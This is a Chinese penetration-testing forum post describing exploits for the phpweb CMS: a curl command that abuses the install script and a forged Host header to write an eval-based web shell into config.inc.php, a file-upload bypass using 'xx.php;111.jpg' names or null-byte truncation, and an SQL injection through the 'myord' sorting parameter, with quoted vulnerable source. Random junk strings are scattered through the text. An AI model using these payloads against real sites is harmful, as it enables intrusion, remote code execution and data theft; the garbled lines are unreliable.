中国网络渗透测试联盟

标题: phpweb成品网站最新版(注入、上传、写shell) [打印本页]

作者: admin    时间: 2013-1-4 19:45
标题: phpweb成品网站最新版(注入、上传、写shell)
注入:7 J" S+ x  G; Z9 _$ F
- b  e( G" n& B  p6 \3 f; s' C
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
" u0 A/ \8 y; _
( Z- L2 [4 c/ R; W: s4 R! F鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
; g/ g: z4 ]5 O) u7 i& C  h鸡肋2: 有一定安全常识的站长都会删掉 install 目录3 {! J: Q5 ?  D) r# A

- Z( ~* f- m" b/ y( Y6 ?虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
* _# f1 E! D- Z; J* g
' G/ d2 d0 o0 b4 }+ A0 v5 G4 A分析:
8 x3 Z  e4 T$ d( p' |; k 4 {6 `3 P; D/ j) g3 x/ f

' P1 r7 j- ]- ?7 c/ f$ N$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤% s5 _* A+ u( v: \3 f6 F: o
' v1 j% C4 W5 G3 Y- b1 w0 P
                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);, G* q9 q) \7 f# q' ~5 l. G
                                            $filestr=str_replace(" ","",$filestr);
  e7 ?* I1 p9 Q+ K5 t% g6 A) {  R& h                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);- G. @  O! n5 g* v
                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);& v/ e" U1 O" [5 X
                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);' M! S; f" x( F/ W9 M9 ^
                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);2 Y7 w3 @; G, S' }
                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
( `1 P. p0 C! S. S7 i& e0 x                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);) {" Q9 d( j" i* G, A( E
                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
0 X) x. s% b0 J0 y
* Z0 U& w0 V, K                                            fwrite(fopen($ConFile,"w"),$filestr,30000);4 J9 ^! q- t! u1 ]5 R# G6 H/ P  V
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^! N$ `% y9 G3 i

  d+ M7 d& v7 S- ]5 G( W0 C5 Ypoc:
: i" b3 s; o, }7 J7 U ) a. X; N: l3 b! h
?/ K2 E; Q, h3 |" i* t. R2 S# n
11 s/ P* L- d. d) V
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
& ]1 _6 x! @. L. R6 U& T0 ^7 `$ Qshell地址: /config.inc.php
! @6 R+ q- ^, y/ T, ]" r& M; n跟之前的 phpcms一样 需要远程数据库' n: q. ]7 l% T4 B% W' q

( m& k1 i+ _# [- R1 V7 Y5 X——————————————————–, Y2 G4 N  X* K3 l& Y4 q/ W" Z# r
上传漏洞(需要进后台):1 I4 {. l9 [5 y" i
漏洞文件: /kedit/upload_cgi/upload.php
8 Y* M: @0 ?% ^, X. k这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
' ~3 ?8 K3 A- @9 P: }/ D+ y ' X/ o* d9 R! j2 m

8 \: [( L) @9 X) E6 j<?php
+ Q( j, Y9 i3 g- [: f$ p# ]+ f4 A( M    define("ROOTPATH", "../../");+ ]8 p8 }* }7 v; a! R: x0 L
    include(ROOTPATH."includes/admin.inc.php");% U) f& V- h% s) D( }
    NeedAuth(0);4 p/ |( u! W# A2 l& l

' ^' o# N# b7 d( {$ g: a( |    $dt=date("Ymd",time());  F2 o4 O! D+ N( V6 X. u! Y( N
    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){# q7 f4 p8 B6 l
            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
% L9 e' o0 G- j) B7 c    }
. a2 |# @' [$ m0 J5 C3 h/ i , e. z5 ]$ s- e3 T- f
    //文件保存目录路径% G6 K1 T: Y. X2 b1 @1 H8 d  ]
    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
8 f  z* _4 b( Y$ f; P5 n* M    echo $save_path;
/ I- ?( g6 }6 a" Z    //文件保存目录URL3 N' d8 i3 y) J# Y; E6 c9 b
    $save_url = '../../'.$_POST['attachPath'].$dt.'/';
3 U* x7 Z* `! x9 b 5 x+ l2 R& z6 k9 k& P
    //定义允许上传的文件扩展名  Z% U: s1 D" \' a$ ?3 W" e
    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀. L: w0 S+ F0 }* v3 l
9 n* L5 K! \; l% d2 f2 ~
    //最大文件大小/ Z8 I8 C4 p4 ?- J  e( X
    $max_size = 1000000;
/ W5 G& w" P1 N7 m$ u$ A% H & Y; d3 H7 T0 U1 N) L* t
    //更改目录权限7 a2 G, N% K* |1 K
    @mkdir($save_path, 0777);
/ a! r3 |: U" e- t7 d/ a! C
/ s! Y, l/ `/ j  X' G1 U$ w    //文件的全部路径" ^) e0 S3 W  N
    $file_path = $save_path.$_POST['fileName'];   //保存文件名5 {' s3 r5 s! ^  I

# z1 p% ~- o7 u9 N/ L    //文件URL
/ w8 g/ B2 O7 R1 l  q    $file_url = $save_url.$_POST['fileName'];
1 f$ L' q, |# i1 |( P//有上传文件时
: T: A( G9 M% b+ h3 r: b! D3 O, D1 ~    if (empty($_FILES) === false) {- a2 x1 N8 \" E% V

+ |* j4 R, x7 q/ l7 n' e  v            //原文件名/ ^! r, l2 ?2 b, q4 D
            $file_name = $_FILES['fileData']['name'];
  K% r/ B9 R" y/ r1 o            //服务器上临时文件名
0 X2 `6 n$ |2 y4 ?7 w, @            $tmp_name = $_FILES['fileData']['tmp_name'];
* }3 s! S2 u8 L& E6 A$ Z            //文件大小
  ?: X& f- _* o  _9 C            $file_size = $_FILES['fileData']['size'];9 C, B( R: {$ g: A7 n$ c
            //检查目录, n* x3 n! {7 {; X0 S
            if (@is_dir($save_path) === false) {
; }/ ?- _# v5 T8 v! |6 Z/ W                    alert("上传目录不存在。");
0 i, N6 n: P7 y' E9 j            }" O0 ?  @# n' y3 I* J, \9 T  ~
            //检查目录写权限# }$ _  I9 W5 {7 Q- T! X, ]
            if (@is_writable($save_path) === false) {& E9 ]/ s5 g/ I- n/ I6 G
                    alert("上传目录没有写权限。");
+ C6 {" h- |& q& A; Q            }! s: F' ~5 @: \- p0 g8 C
            //检查是否已上传
  q6 J2 o2 a9 w4 y            if (@is_uploaded_file($tmp_name) === false) {/ b8 z$ f1 w: q
                    alert("临时文件可能不是上传文件。");. J3 @* x+ m9 E
            }2 k# c9 m9 g: H1 w
            //检查文件大小! V/ J7 E( y1 ?3 l( n+ \
            if ($file_size > $max_size) {( \. P/ F2 H* f! f4 W! f% V9 ~
                    alert("上传文件大小超过限制。");! Y* d, _, h/ \  R- I; v
            }% _# G! O& h; |7 q7 r7 [" [" \
            //获得文件扩展名9 Z' t; H) a0 D9 Z% A' D' \
            $temp_arr = explode(".", $_POST['fileName']);
1 [/ g; V" l; i) ]( f6 G. b' p5 v8 B            $file_ext = array_pop($temp_arr);
& t5 w* T! {5 n3 ^  r) c            $file_ext = trim($file_ext);3 O  L' A. d% y4 Q0 R, Z9 o
            $file_ext = strtolower($file_ext);
) I& t% v- A% _9 v9 U; c! i - m/ F. W- x# J+ q; x, P  h
            //检查扩展名   / b+ H1 d" J7 w( m: k. h
            if (in_array($file_ext, $ext_arr) === false) {     
3 c: q7 {( i& k% P                    alert("上传文件扩展名是不允许的扩展名。");
8 G, }  @" ~9 B6 U            }
; Q: Y" H" ^* }+ z' I$ M
  ]7 `9 X% |6 M            //移动文件   
  t) V- I; t, ]0 V& m            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^
, ~. {$ [1 p6 q$ p6 l            if (move_uploaded_file($tmp_name, $file_path) === false) {. S) C' y4 x" d: \7 a6 {# [7 L
                    alert("上传文件失败。");: t2 i1 E4 N8 l! m# M  f
            }" Y8 j" w1 B) U! X7 @9 P
% A' S; Y# q( b% W, V# _
            @chmod($file_path,0666);
0 h( z' z; g9 ]8 W ' D2 D8 {8 |; [0 T; M5 j1 e: x' y# g
    ?>
9 _* W+ S+ ?' |2 Y% a7 M+ |  d抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=2276 J$ ~% Z4 O% u0 a1 H' d. |3 L
' a0 D9 S& A1 r
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过, n8 g8 u5 d* u" ?8 u
" c) {% i7 I7 b0 e0 _
——————————————————8 w  U+ P$ D) C1 h8 o6 G
注入漏洞:
& k+ D8 ]" C. Y0 i2 o0 X8 X- ~漏洞文件:search/module/search.php4 o1 L' Z+ [# x9 d2 [
/search/index.php?key=1&myord=1 [sqlinjection], e  D8 c& J! p5 k

* T0 V' l. i" b) ?9 | 2 D9 M1 `+ d5 a3 |& A- f* O# [
<?php7 S& U, ^1 b9 s7 S" _, V& f
   //       ... 省略 n 行...8 ~& K. q% k0 N1 I; |0 ]! D# n% V
   //第18行:
! g3 d6 \& f; `. Q" r' A- l1 z           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响
" I) o# _8 i+ x5 G1 t5 A           $page=htmlspecialchars($_GET["page"]);
) w( u, L7 R) F& D) K4 O% _           $myord=htmlspecialchars($_GET["myord"]);
, ~, K+ h4 A' u1 ~) O, c / |0 m( ?& P! u! x3 N6 S
   //       ... 省略 n 行...$ A0 w- J, r9 t1 J0 P
   $key,$myord 两个参数带入查询
2 {0 O( _& b( s   //第47行 $key:
# b: z" J( r. i: U* ~7 C8 W; F
( U. P& R0 g% o% }: C* D   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过.., Q7 i. K& w" t( ]
) w# [4 P3 _7 L6 }9 r
   //第197行 $myord; L2 O6 |% m' R/ V9 n
   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入* i% J6 m, Z4 n5 H  N  C* W) J

$ n4 X' `# N/ s2 X" a- n% `$ J   ?>, K) Z9 S7 K! U; G8 `





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2